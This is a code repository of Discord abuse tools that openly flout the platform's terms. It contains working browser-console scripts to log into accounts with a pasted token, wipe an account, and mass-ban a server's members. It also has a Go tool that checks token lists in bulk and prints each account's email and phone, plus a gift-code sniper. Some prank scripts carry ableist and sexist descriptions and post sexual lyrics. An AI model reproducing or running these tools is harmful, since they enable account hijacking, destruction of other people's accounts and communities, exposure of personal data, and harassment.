├── tools └── golang │ ├── nitrosniper │ ├── token.txt │ ├── readme.md │ └── main.go │ └── tokenchecker │ ├── out.txt │ ├── tokens.txt │ ├── readme.md │ └── main.go ├── console-scripts ├── findModule.md ├── count-guilds.md ├── token-login.md ├── close-dms.md ├── discord-developer.md ├── remove-friends.md ├── leave-all-guilds.md ├── ban-all.md ├── grief-account.md ├── sing-rawrx3.md ├── autism-commas.md └── liv-speaks.md └── readme.md /tools/golang/nitrosniper/token.txt: -------------------------------------------------------------------------------- 1 | token here -------------------------------------------------------------------------------- /tools/golang/tokenchecker/out.txt: -------------------------------------------------------------------------------- 1 | token 2 | token1 3 | token2 -------------------------------------------------------------------------------- /tools/golang/tokenchecker/tokens.txt: -------------------------------------------------------------------------------- 1 | token 2 | token1 3 | token2 -------------------------------------------------------------------------------- /tools/golang/tokenchecker/readme.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Tool to check a mass amount of tokens at once. -------------------------------------------------------------------------------- /console-scripts/findModule.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Used in most if not all of the scripts, basically just finds methods and allows you to use them. 4 | 5 | # Code 6 | 7 | ```js 8 | var findModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default; -------------------------------------------------------------------------------- /console-scripts/count-guilds.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Counts the number of guilds the client is in. 4 | 5 | # Code 6 | 7 | ```js 8 | var findModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default; 9 | 10 | var guilds = findModule("getGuilds").getGuilds() 11 | var i = 0 12 | for(var k in guilds) i++ 13 | console.log(i) -------------------------------------------------------------------------------- /console-scripts/token-login.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | A script that allows you to login to accounts via a discord token. 4 | 5 | # Code 6 | 7 | ```js 8 | var token = 'Ze Token Here My Bruder'; 9 | 10 | var findModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default; 11 | 12 | findModule('loginToken').loginToken(token); 13 | -------------------------------------------------------------------------------- /console-scripts/close-dms.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Closes all dms on users account. 4 | 5 | # Code 6 | 7 | ```js 8 | var findModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default 9 | var dms = findModule("getPrivateChannels").getPrivateChannels() 10 | 11 | for(var k in dms){ 12 | findModule("closePrivateChannel").closePrivateChannel(k) 13 | } 14 | -------------------------------------------------------------------------------- /console-scripts/discord-developer.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Makes discord client think you're a developer giving you beta features early. 4 | 5 | # Code 6 | 7 | ```js 8 | var FindModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default; 9 | 10 | Object.defineProperty(FindModule('getExperimentDescriptor').__proto__, 'isDeveloper', { get: () => true }); 11 | -------------------------------------------------------------------------------- /console-scripts/remove-friends.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Remove every friend a user has. 4 | 5 | # Code 6 | 7 | ```js 8 | var findModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default; 9 | 10 | var friends = findModule("getRelationships").getRelationships() 11 | 12 | for(var k in friends){ 13 | findModule("removeRelationship").removeRelationship(k) 14 | } 15 | -------------------------------------------------------------------------------- /readme.md: -------------------------------------------------------------------------------- 1 | # Info 2 | 3 | This repo is just a collection of scripts and tools that don't abide by discord tos, created by [post](https://github.com/postrequest69) and [fweak](https://github.com/Fweak) 4 | 5 | # Details 6 | 7 | console-scripts: scripts you can paste in your discord console, all those scripts have their own descriptions. 8 | tools: programs not ran in discord console, every tool in there has it's own description. 9 | exploits: exploits in discord that were found and put into a tool. 10 | -------------------------------------------------------------------------------- /console-scripts/leave-all-guilds.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | leaves all guilds the current user is in. 4 | 5 | # Code 6 | 7 | ```js 8 | var findModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default; 9 | 10 | var guilds = findModule("getGuilds").getGuilds() 11 | var i = 0 12 | for(var k in guilds){ 13 | findModule("leaveGuild").leaveGuild(k) 14 | } 15 | var guilds = findModule("getGuilds").getGuilds() 16 | for(var k in guilds){ 17 | findModule("deleteGuild").deleteGuild(k) 18 | } 19 | -------------------------------------------------------------------------------- /tools/golang/nitrosniper/readme.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | A bot that detected a nitro gift `discord.gift/code` being sent and instantly claims it. 4 | 5 | # How to use 6 | 7 | Have [go](https://golang.org/dl/) installed. 8 | 9 | git clone this repo. 10 | 11 | type these in a cmd that's cd'd into the git clone folder. 12 | 13 | ``` 14 | go get github.com/bwmarrin/discordgo 15 | 16 | go get github.com/fatih/color 17 | ``` 18 | make a token.txt file in the dir 19 | 20 | put your discord token in the token.txt file 21 | 22 | type this in a cmd that's cd'd into the git clone folder. 23 | 24 | ``` 25 | go run main.go 26 | ``` 27 | -------------------------------------------------------------------------------- /console-scripts/ban-all.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | This scripts bans everyone that your client has cached in a guild, it's pretty fast but you might have to run it a few times depending on the size of the guild, it fetches members by the cache so make sure you load the member bar on the right side. **DOESN'T BAN OFFLINE MEMBERS** 4 | 5 | # Code 6 | 7 | ```js 8 | var findModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default; 9 | 10 | var serverId = prompt('Server Id'); 11 | var members = findModule('getMembers').getMembers(serverId); 12 | var { banUser } = findModule('banUser'); 13 | var count = 0; 14 | 15 | while (true) { 16 | if ((count % 40) === 0) await new Promise(_ => setTimeout(_, 2000)); 17 | banUser(serverId, members[count].userId); 18 | count++; 19 | } -------------------------------------------------------------------------------- /console-scripts/grief-account.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Removes all friends, closes all dms, and leaves all guilds from a user. 4 | 5 | # Code 6 | 7 | ```js 8 | var findModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default 9 | var dms = findModule("getPrivateChannels").getPrivateChannels() 10 | 11 | for(var k in dms){ 12 | findModule("closePrivateChannel").closePrivateChannel(k) 13 | } 14 | setTimeout(function() { 15 | }, 2000); 16 | var guilds = findModule("getGuilds").getGuilds() 17 | var i = 0 18 | for(var k in guilds){ 19 | findModule("leaveGuild").leaveGuild(k) 20 | } 21 | var guilds = findModule("getGuilds").getGuilds() 22 | for(var k in guilds){ 23 | findModule("deleteGuild").deleteGuild(k) 24 | } 25 | setTimeout(function() { 26 | }, 2000); 27 | var friends = findModule("getRelationships").getRelationships() 28 | 29 | for(var k in friends){ 30 | findModule("removeRelationship").removeRelationship(k) 31 | } 32 | -------------------------------------------------------------------------------- /console-scripts/sing-rawrx3.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Sings (this song)[https://www.youtube.com/watch?v=h6DNdop6pD8&list=FLOBR-3lyUoKw89XUxV-TFZg] in the channel you're currently looking at. 4 | 5 | # Code 6 | 7 | ```js 8 | var findModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default; 9 | 10 | var song = `Okay, I know this is a really bad idea but 11 | I'm already here so 12 | Here we fuckin’ go 13 | Rawr 14 | ​x3 nuzzles, pounces on you, uwu you so warm (Ooh) 15 | Couldn't help but notice your bulge from across the floor 16 | Nuzzles your necky wecky-tilde murr-tilde, hehe 17 | Unzips your baggy ass pants, oof baby you so musky 18 | Take me home, pet me, and make me yours and don't forget to stuff me 19 | See me wag my widdle baby tail all for your bulgy-wulgy 20 | Kissies and lickies your neck (Mmh) 21 | I hope daddy likies 22 | Nuzzles and wuzzles your chest (Yuh) 23 | I be (Yeah) gettin’ thirsty 24 | Hey, I got a little itch, you think you can help me? 25 | Only seven inches long, uwu, please adopt me 26 | Paws on your bulge as I lick my lips (UwU, punish me please) 27 | 'Bout to hit 'em with this furry shit (He don't see it comin')`.split("\n") 28 | var i = 0 29 | song.forEach(lyric => { 30 | i++ 31 | setTimeout(() => { 32 | findModule("sendMessage").sendMessage(findModule('getChannelId').getChannelId(), {content: lyric }) 33 | }, i * 1000) 34 | }) -------------------------------------------------------------------------------- /console-scripts/autism-commas.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | Adds a random comma in a random place of your text before you send a message, this is 100% useless by every metric. 4 | 5 | # Code 6 | 7 | ```js 8 | window.Utils = {Mods:{}} 9 | window.Utils.Mods.hookMethod = (targetLocation, functionChange, change) => { 10 | if (!targetLocation || typeof targetLocation !== "object") return console.error('The target\'s location is not an object.'); 11 | 12 | const original = targetLocation[functionChange]; 13 | 14 | targetLocation[functionChange] = function() { 15 | const params = { 16 | thisObject: this, 17 | methodArguments: arguments, 18 | originalMethod: original, 19 | callOriginalMethod: () => params.returnValue = params.originalMethod.apply(params.thisObject, params.methodArguments) 20 | }; 21 | return change(params); 22 | }; 23 | 24 | targetLocation[functionChange].displayName = 'autiscHooked'; 25 | targetLocation[functionChange].revert = () => { 26 | targetLocation[functionChange] = original; 27 | return true; 28 | }; 29 | } 30 | window.Utils.Mods.findModule = (filter, specific = 0) => { 31 | const others = new Array(); 32 | for (const in1 in window.req.c) { 33 | if (window.req.c.hasOwnProperty(in1)) { 34 | const m = req.c[in1].exports; 35 | if (m && m.__esModule && m.default && filter(m.default)) others.push(m.default); 36 | if (m && filter(m)) others.push(m); 37 | } 38 | } 39 | 40 | return others.length > 0 ? others[specific] : undefined; 41 | } 42 | 43 | window.Utils.Mods.hookMethod(window.Utils.Mods.findModule(m => m.hasOwnProperty('sendMessage')), "sendMessage", async (b) => { 44 | let message = b.methodArguments[1]; 45 | 46 | 47 | //message = message 48 | let random = Math.ceil(Math.random() * (message.content.length - 1)) 49 | let newcontent = message.content 50 | newcontent = newcontent.substr(0, random) + newcontent[random] + "'" + newcontent.substr(random + 1) 51 | message.content = newcontent 52 | 53 | return b.callOriginalMethod(b.methodArguments[0], message); 54 | }); 55 | -------------------------------------------------------------------------------- /console-scripts/liv-speaks.md: -------------------------------------------------------------------------------- 1 | # Description 2 | 3 | This is how every female on the planet types. 4 | 5 | # Code 6 | 7 | ```js 8 | window.Utils = {Mods:{}} 9 | window.Utils.Mods.hookMethod = (targetLocation, functionChange, change) => { 10 | if (!targetLocation || typeof targetLocation !== "object") return console.error('The target\'s location is not an object.'); 11 | 12 | const original = targetLocation[functionChange]; 13 | 14 | targetLocation[functionChange] = function() { 15 | const params = { 16 | thisObject: this, 17 | methodArguments: arguments, 18 | originalMethod: original, 19 | callOriginalMethod: () => params.returnValue = params.originalMethod.apply(params.thisObject, params.methodArguments) 20 | }; 21 | return change(params); 22 | }; 23 | 24 | targetLocation[functionChange].displayName = 'autiscHooked'; 25 | targetLocation[functionChange].revert = () => { 26 | targetLocation[functionChange] = original; 27 | return true; 28 | }; 29 | } 30 | window.Utils.Mods.findModule = (item) => Object.values(webpackJsonp.push([[],{['']:(_,e,r)=>{e.cache=r.c}},[['']]]).cache).find(m=>m.exports&&m.exports.default&&m.exports.default[item]!==void 0).exports.default; 31 | 32 | function genNum(toCheck, limit){ 33 | var rand = Math.ceil(Math.random() * limit) 34 | if(rand == toCheck){ 35 | if(limit > toCheck) return toCheck++ 36 | return toCheck-- 37 | } 38 | return rand 39 | } 40 | 41 | function shuffelWord (word){ 42 | var shuffledWord = ''; 43 | word = word.split(''); 44 | var first = genNum(0, word.length-1) 45 | var second = genNum(first, word.length-1) 46 | var firstletter = word[first] 47 | var secondletter = word[second] 48 | var i = 0 49 | word.forEach(k => { 50 | if(i == first){ 51 | k = secondletter 52 | }else if(i == second){ 53 | k = firstletter 54 | } 55 | shuffledWord += k 56 | i++ 57 | }) 58 | 59 | return shuffledWord; 60 | } 61 | window.Utils.Mods.hookMethod(window.Utils.Mods.findModule('sendMessage'), "sendMessage", async (b) => { 62 | let message = b.methodArguments[1]; 63 | 64 | 65 | let newcontent = message.content 66 | var place = 0 67 | message.content.split(" ").forEach(word => { 68 | newcontent = newcontent.replace(newcontent.split(" ")[place], shuffelWord(word)) 69 | place++ 70 | }) 71 | message.content = newcontent 72 | return b.callOriginalMethod(b.methodArguments[0], message); 73 | }); 74 | -------------------------------------------------------------------------------- /tools/golang/nitrosniper/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "bytes" 5 | "fmt" 6 | "io/ioutil" 7 | "log" 8 | "net/http" 9 | "os" 10 | "os/signal" 11 | "regexp" 12 | "strconv" 13 | "strings" 14 | "syscall" 15 | "time" 16 | 17 | "github.com/bwmarrin/discordgo" 18 | "github.com/fatih/color" 19 | ) 20 | 21 | var used = []string{} 22 | var ( 23 | giftRegex = regexp.MustCompile("(discord.com/gifts/|discordapp.com/gifts/|discord.gift/)([a-zA-Z0-9]+)") 24 | ) 25 | 26 | func contains(arr []string, str string) bool { 27 | for _, a := range arr { 28 | if a == str { 29 | return true 30 | } 31 | } 32 | return false 33 | } 34 | func makeTimestamp() int64 { 35 | return time.Now().UnixNano() / int64(time.Millisecond) 36 | } 37 | 38 | var ( 39 | token, err = ioutil.ReadFile("token.txt") 40 | ) 41 | 42 | func messageCreate(s *discordgo.Session, m *discordgo.MessageCreate) { 43 | if m.Content != "" && giftRegex.Match([]byte(m.Content)) { 44 | gifts := giftRegex.FindStringSubmatch(m.Content) 45 | if len(gifts) < 2 { 46 | return 47 | } 48 | if len(gifts[2]) != 16 { 49 | color.Red("Fake code %s sent from %s!", gifts[2], m.Author.String()) 50 | return 51 | } 52 | usedalreadty := contains(used, gifts[2]) 53 | if usedalreadty { 54 | color.Red("Code %s wont retry, sent from %s", gifts[2], m.Author.String()) 55 | return 56 | } 57 | start := makeTimestamp() 58 | client := &http.Client{} 59 | var link = "https://discordapp.com/api/v6/entitlements/gift-codes/" + gifts[2] + "/redeem" 60 | var body = []byte(`{"channel_id":` + m.ChannelID + "}") 61 | req, err := http.NewRequest("POST", link, bytes.NewBuffer(body)) 62 | req.Header.Add("Content-Type", "application/json") 63 | req.Header.Add("authorization", string(token)) 64 | res, err := client.Do(req) 65 | if err != nil { 66 | log.Fatal(err) 67 | } 68 | defer res.Body.Close() 69 | bodyBytes, err := ioutil.ReadAll(res.Body) 70 | bodyString := string(bodyBytes) 71 | end := makeTimestamp() 72 | used = append(used, gifts[2]) 73 | if strings.Contains(bodyString, "This gift has been redeemed already.") { 74 | color.Red("code %s already used, sent by %s, took %d ms", gifts[2], m.Author.String(), end-start) 75 | } else if strings.Contains(bodyString, "nitro") { 76 | color.Green("code %s used, sent by %s, took %d ms", gifts[2], m.Author.String(), end-start) 77 | } else if strings.Contains(bodyString, "Unknown Gift Code") { 78 | color.Red("code %s isn't nitro, sent by %s, took %d ms", gifts[2], m.Author.String(), end-start) 79 | } else { 80 | color.Yellow("%s has not attributes, sent by %s, took %d ms", gifts[2], m.Author.String(), end-start) 81 | } 82 | } 83 | } 84 | 85 | func main() { 86 | dg, err := discordgo.New(string(token)) 87 | if err != nil { 88 | fmt.Println("error creating Discord session,", err) 89 | return 90 | } 91 | dg.AddHandler(messageCreate) 92 | err = dg.Open() 93 | if err != nil { 94 | fmt.Println("error opening connection,", err) 95 | return 96 | } 97 | color.Cyan("Sniping on " + strconv.Itoa(len(dg.State.Guilds)) + " Servers. \n") 98 | sc := make(chan os.Signal, 1) 99 | signal.Notify(sc, syscall.SIGINT, syscall.SIGTERM, os.Interrupt, os.Kill) 100 | <-sc 101 | 102 | _ = dg.Close() 103 | } 104 | -------------------------------------------------------------------------------- /tools/golang/tokenchecker/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "io/ioutil" 7 | "net/http" 8 | "os" 9 | "strings" 10 | ) 11 | 12 | var ( 13 | red = color("\033[1;31m%s\033[0m") 14 | green = color("\033[1;32m%s\033[0m") 15 | yellow = color("\033[1;33m%s\033[0m") 16 | ) 17 | 18 | func color(colorString string) func(...interface{}) string { 19 | sprint := func(args ...interface{}) string { 20 | return fmt.Sprintf(colorString, 21 | fmt.Sprint(args...)) 22 | } 23 | return sprint 24 | } 25 | 26 | //https://stackoverflow.com/a/10510783 27 | func exists(path string) bool { 28 | _, err := os.Stat(path) 29 | if err == nil { 30 | return true 31 | } 32 | if os.IsNotExist(err) { 33 | return false 34 | } 35 | return false 36 | } 37 | 38 | var client = &http.Client{} 39 | var link = "https://discordapp.com/api/v7/users/@me" 40 | 41 | func checkToken(token string) ([]byte, bool) { 42 | var dead = false 43 | 44 | req, err := http.NewRequest("GET", link, nil) 45 | if err != nil { 46 | fmt.Println(red("ERROR:", err)) 47 | return []byte("lol"), true 48 | } 49 | req.Header.Add("Authorization", token) 50 | resp, err := client.Do(req) 51 | if err != nil { 52 | fmt.Println(red("ERROR:", err)) 53 | return []byte("lol"), true 54 | } 55 | defer resp.Body.Close() 56 | bodyBytes, err := ioutil.ReadAll(resp.Body) 57 | if resp.StatusCode != 200 { 58 | return bodyBytes, true 59 | } 60 | return bodyBytes, dead 61 | } 62 | 63 | func getTokens() []string { 64 | var filename string 65 | fmt.Print(green("What file am I reading for tokens: ")) 66 | fmt.Scanln(&filename) 67 | check := exists(filename) 68 | if !check { 69 | fmt.Println(red("The file " + filename + " doesn't exist!")) 70 | os.Exit(0) 71 | } 72 | input, err := ioutil.ReadFile("./" + filename) 73 | if err != nil { 74 | fmt.Println(red("Error reading "+filename+"\n", err)) 75 | os.Exit(0) 76 | } 77 | return strings.Split(string(input), "\r\n") 78 | } 79 | 80 | func logTokens(text string) { 81 | var option string 82 | fmt.Print(green("Do you want to save the tokens to a file (y / yes): ")) 83 | fmt.Scanln(&option) 84 | if strings.ToLower(option) == "y" || strings.ToLower(option) == "yes" { 85 | fmt.Print(green("Great! What file should I save to: ")) 86 | var file string 87 | fmt.Scanln(&file) 88 | check := exists(file) 89 | if !check { 90 | fmt.Println(red("The file " + file + " doesn't exist!")) 91 | os.Exit(0) 92 | } 93 | f, err := os.Create(file) 94 | if err != nil { 95 | fmt.Println(red(fmt.Sprintf("Error reading %s\n%s", file, err))) 96 | f.Close() 97 | os.Exit(0) 98 | } 99 | f.WriteString(text) 100 | f.Close() 101 | fmt.Println(green(fmt.Sprintf("Tokens written to %s!", file))) 102 | } 103 | } 104 | 105 | type discordResponse struct { 106 | Verified bool `json:"verified"` 107 | Username string `json:"username"` 108 | Discrim string `json:"discriminator"` 109 | Email string `json:"email"` 110 | Phone string `json:"phone"` 111 | } 112 | 113 | func logToConsole(data discordResponse, option bool, token string, dead bool) { 114 | if option { 115 | if dead { 116 | fmt.Println(red("Dead: ", token)) 117 | } else { 118 | // var phone = "none" 119 | // if _, ok := data["Phone"]; ok { 120 | // phone = data.Phone 121 | // } 122 | // var email = "none" 123 | // if _, ok := data.Email; ok { 124 | // email = data.Email 125 | // } 126 | var phone = "none" 127 | if data.Phone != "" { 128 | phone = data.Phone 129 | } 130 | var email = "none" 131 | if data.Email != "" { 132 | email = data.Email 133 | } 134 | fmt.Println(green(fmt.Sprintf("Working: %s | %s#%s | %s | %s | %s", token, data.Username, data.Discrim, phone, email, fmt.Sprint(data.Verified)))) 135 | } 136 | } 137 | } 138 | 139 | func main() { 140 | var working = []string{} 141 | tokens := getTokens() 142 | if len(tokens) < 1 { 143 | fmt.Println(red("I was unable to find any tokens!")) 144 | return 145 | } 146 | fmt.Println(green(fmt.Sprintf("Pulled %s tokens!", fmt.Sprint(len(tokens))))) 147 | var option string 148 | var logToConsoleOption bool 149 | fmt.Print(green("Should I log the resposnes to console (y / yes): ")) 150 | fmt.Scanln(&option) 151 | option = strings.ToLower(option) 152 | logToConsoleOption = false 153 | if option == "y" || option == "yes" { 154 | logToConsoleOption = true 155 | fmt.Println(yellow("\n\n Console logging layout")) 156 | fmt.Println(green("\nWorking: token | username#discrim | phone | email | verified")) 157 | fmt.Println(red("Dead: token\n")) 158 | } 159 | for _, token := range tokens { 160 | data, dead := checkToken(token) 161 | var resp discordResponse 162 | if dead { 163 | logToConsole(resp, logToConsoleOption, token, dead) 164 | continue 165 | } 166 | working = append(working, token) 167 | err := json.Unmarshal(data, &resp) 168 | if err != nil { 169 | fmt.Println(red("Error", err)) 170 | continue 171 | } 172 | logToConsole(resp, logToConsoleOption, token, dead) 173 | } 174 | if len(working) > 0 { 175 | logTokens(strings.Join(working, "\n")) 176 | } 177 | 178 | } 179 | --------------------------------------------------------------------------------